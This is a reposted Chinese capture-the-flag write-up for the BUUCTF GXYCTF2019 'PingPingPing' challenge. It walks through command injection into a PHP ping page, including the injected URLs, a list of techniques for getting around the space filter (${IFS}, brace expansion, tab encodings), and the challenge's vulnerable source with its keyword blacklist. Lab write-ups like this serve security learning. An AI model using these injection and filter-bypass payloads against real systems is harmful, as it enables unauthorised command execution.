BUUCTF[GXYCTF2019]PingPingPing
Posted 热绪
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF[GXYCTF2019]PingPingPing相关的知识,希望对你有一定的参考价值。
测试:?ip=127.0.0.1
测试:?ip=1&whoami
怀疑&被过滤,使用;替代:
发现可以,然后我们看看ls
?ip=1;ls
测试:/?ip=1;cat /flag
被过滤掉了某些符号。
我们找到空格的各种绕过方式进行一一尝试:
http://211a5ad5-f18b-466c-97e3-ace75c784ff9.node3.buuoj.cn/?ip=1;{cat,flag}
http://211a5ad5-f18b-466c-97e3-ace75c784ff9.node3.buuoj.cn/?ip=1;cat{IFS}flag
http://211a5ad5-f18b-466c-97e3-ace75c784ff9.node3.buuoj.cn/?ip=1;cat${IFS}flag
http://211a5ad5-f18b-466c-97e3-ace75c784ff9.node3.buuoj.cn/?ip=1;cat${IFS}$9flag
空格绕过方法:
<
<>
IFS
{IFS}
${IFS}
${IFS}$9
$IFS
$IFS$1 //$1改成$加其他数字貌似都行
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\\x09./flag.php';$X (\\x09表示tab,也可以用\\x20)
成功:
http://211a5ad5-f18b-466c-97e3-ace75c784ff9.node3.buuoj.cn/?ip=1;cat$IFSflag
http://211a5ad5-f18b-466c-97e3-ace75c784ff9.node3.buuoj.cn/?ip=1;cat$IFS$1flag
在测试的过程中,我们发现:在使用
http://211a5ad5-f18b-466c-97e3-ace75c784ff9.node3.buuoj.cn/?ip=1;cat${IFS}/flag
的时候,{},/都被过滤掉了
我们绕过空格读取falg.php发现:
没什么东西。
我们试着读一下index.php看看:
emmmmm代码审计一下。
/?ip=
|\\'|\\"|\\\\|\\(|\\)|\\[|\\]|\\{|\\}/", $ip, $match)){
echo preg_match("/\\&|\\/|\\?|\\*|\\<|[\\x{00}-\\x{20}]|\\>|\\'|\\"|\\\\|\\(|\\)|\\[|\\]|\\{|\\}/", $ip, $match);
#过滤
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
#过滤//
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
#过滤/bash/
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
#过滤f l a g 匹配一个字符串中,是否按顺序出现过flag四个字母
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
目标明确,我们还得绕过flag的约束,想到了之前写过命令执行绕waf,想到了赋值拼接绕过方式:
拿到flag。
总结思路:
首先需要绕过空格以便使用cat命令。
查看flag无果,然后查看index出现源码,发现了过滤器机制,进行绕过。
以上是关于BUUCTF[GXYCTF2019]PingPingPing的主要内容,如果未能解决你的问题,请参考以下文章
BUUCTF[GXYCTF2019]PingPingPing